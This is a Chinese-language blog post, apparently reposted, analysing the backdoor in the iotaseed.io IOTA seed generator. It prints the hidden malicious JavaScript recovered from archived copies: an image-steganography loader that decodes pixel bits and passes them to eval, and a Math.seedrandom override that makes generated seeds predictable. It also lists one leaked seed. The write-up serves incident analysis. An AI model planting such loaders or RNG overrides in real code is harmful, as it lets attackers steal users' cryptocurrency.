區塊鏈時代的黑產致富經
不知道說啥的前言
1982年,有著當代焦裕祿稱號的徐啟斌先生在四川眉山縣吼出的「要想富,先修路」這一口號,深深映入我們腦海。落後的交通阻礙了當地資源優勢轉化成經濟優勢的進程,落後的交通限制了當地經濟的發展。交通給物流,文化交流帶來便捷的同時也為當地財政帶來了實實在在的收入,這個入口就是收費站。
玩過信用卡的朋友的應該都知道,在信用卡社區中將那些大把大把薅羊毛的人稱之為大擼逼,這些人每月真實消費幾十萬?天天都會所嫩模?那麼這些大擼逼又是怎樣去薅銀行的羊毛的呢?銀行的活動大多都是以持卡人消費額度為基礎進行設計的,消費場景無非就是諸如支付寶,微信支付,銀聯在線等線上消費,以及線下使用POS機的商戶。
商戶使用從收單機構領取的POS機給客戶刷卡消費,然後商戶列印小票,之後拿著小票讓收單機構進行結算,收單機構根據與商家簽訂的合同收取一定的費用。這裡我們不妨將消費流看作是一條高速公路,那麼就不難理解將POS機背後的收單機構看作是收費站的說法了。
騙了400多字的稿費之後,正式引入本文的話題。
Ars Technica近期的一篇關於區塊鏈貨幣盜竊案報道就講述了iotaseed.io(目前已經關站),是如何通過生成惡意Seed地址從用戶錢包盜取價值400萬美元的IOTA幣。該文章沒有對相關代碼進行分析,只是讓我們知道有這麼一個騷操作。
尋找代碼
由於iotaseed.io已經停止運營,但幸運的是我們找到了該站點的歷史頁面
在頁尾我們發現該站點有鏈接到一個github倉庫,不服就自己去看代碼,並強調使用該站點提供的服務,而不是讓用戶直接從github下載代碼自建。其給出的理由也挺充分,「倉庫里包含有還沒完全測試的新代碼」。
難道是在實際站點中加入了倉庫中沒有的腳本文件嗎?如果假設成立,也就可以解釋被盜用戶提到的是iotaseed.io,而不是github倉庫了。
然而該站點提供的倉庫地址已經刪除了,創建該倉庫的所有者norbertvdberg同時也註銷了。嘗試通過archive.org提供的歷史頁面archived the homepage of the GitHub repository閱讀代碼或是下載代碼都提示沒有該頁面存檔。該代碼倉庫有8個人fork,從GitHub用戶手冊中我們得知,就算是該項目被刪除,之前fork的分支是會被保留下來的!我們還有希望見到樣本
根據原倉庫歷史頁面上顯示的一個commit信息,我在github進行搜索
eggdroid/eggseed3似乎就fork了原倉庫代碼,與原倉庫作者norbertvdberg提交的commits數26相符。
至此,集齊兩份樣本可以召喚神龍了
分析代碼
$ diff all-wallet-website.js all-wallet-github.js
1313c1313
---
> t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://localhost", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(//$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(//$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest)
1713c1713
---
> this.provider = e || "http://localhost:14265", this.token = t
1718c1718
---
> this.provider = e || "http://localhost:14265"
6435c6435
---
> website: "https://iota.org"
6440c6440
---
> url: "https://github.com/iotaledger/iota.lib.js/issues"
6444c6444
---
> url: "https://github.com/iotaledger/iota.lib.js.git"
在這之後我又看了看index.html頁面,發現頁面還載入了一個Javascript文件,一個通知庫。下載之後將時光機版本與github版本進行diff比較,果然讓我們發現了端倪。
$ diff notifier-website.js notifier-github.js
68,71d67
82,87d77
119,121d108
為了隱藏代碼作者的良苦用心,你們誰能理解?Notifier.notify方法已經變成檢測image參數是否包含",T",將部分代碼解析成Javascript並進行判斷。另一個修改則是當頁面載入時,增加調用Notifier.init()方法,調用包含image參數的notify方法以觸發該代碼執行。
執行atob(image.split(",")[2]),將引出以下代碼片段:
function cDis(f) {
var o = document.createElement("canvas").getContext("2d");
var i = new Image;
i.onload = function() {
o.drawImage(i, 0, 0);
dS(o.getImageData(0, 0, 298, 100).data)
};
i.src = f
}
function dS(d) {
var l = 21,
bM = "",
tM = "";
for (var i = 0; i
var b = (d[i * 4 + 2] >>> 0).toString(2);
bM += b[b.length - 1];
if (bM.length == 16) {
l = parseInt(bM, 2) + 16;
bM = ""
} else if (bM.length == 8 && l != 21) {
tM += String.fromCharCode(parseInt(bM, 2));
bM = ""
}
}
eval(tM)
}
cDis("./images/logo_small_bottom.png");
惡意代碼第二階段將./images/logo_small_bottom.png放入我們看不見的
if (/ps:.*.io/.test(document.location)) {
mode = "M";
(function(message) {
var name = "edr";
name += "an";
message["cont"] = 0;
name += "dom";
function show(arg, options, image) {
message["e2" + name]("4782588875512803642" + String(message["cont"]), options, image);
message["cont"] += 1
}
message["e2" + name] = message["se" + name];
message["se" + name] = show
})(eval(mode + "ath"))
}
這是JavaScript後門的最後一個階段,我們簡化下:
Math.cont = 0;
function show(arg, options, image) {
Math.e2edrandom("4782588875512803642" + String(Math.cont), options, image);
Math.cont += 1;
}
Math.e2edrandom = Math.seedrandom;
Math.seedrandom = show;
該代碼修改了用於生成代碼的Math.seedrandom函數,其使用固定數4782588875512803642加上一個計數變數seedrandom,這就導致Math.random()每次返回的數據是相同的,一系列的數字都是可預測的,最終生成的IOTASeed地址都是一樣的。這也就說明了為什麼你每次打開archive of iotaseed.io生成的Seed地址都是相同的:
XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD
就算你換台電腦也是一樣的結果。
還有一件事情需要注意,每個用戶獲取到的RNG("4782588875512803642"是我們從歷史樣本中獲取的)不是相同的,通過比對October 31st以及November 19th,發現每過一段時間該數字也會改變。這也就是說./images/logo_small_bottom.png是由iotaseed.io服務端動態生成的。創建該PNG文件後,用於修改隨機函數的數字也會改變(或者是存儲在其他地方,反正得利用攻擊者盜取IOTA),看起來網站確實是為不同的用戶生成了不同Seed地址。通過這個demo 展示了該代碼是如何變化的。
根據IOTA官方Javascript庫,我們知道前面提到的Seed地址(XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD)對應的錢包地址應該是PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX。從iotabalance.com網站得知這是個空錢包,然而從同類網站查詢該錢包地址卻返回404錯誤,比如這個例子
結論
回顧後門放置的手法,你非要說這是無心之失,那我也沒辦法。現在我們不清楚的只是這些代碼是由norbertvdberg,還是其他攻擊者所為。但是從所有者事後刪除github,reddit,quora帳號來看,怕是脫不了干係吧。
後門隱藏得確實挺不錯,僅僅只是通過瀏覽器的開發者工具瞥一眼很難發現其中端倪。
所以還是說,想致富先修路嘛!
參考來源github,對原文有部分修改...


※域信任機制的攻擊技術指南Part.2
※如何通過鑰匙串和生物識別技術來保護iOS的用戶數據
TAG:嘶吼RoarTalk |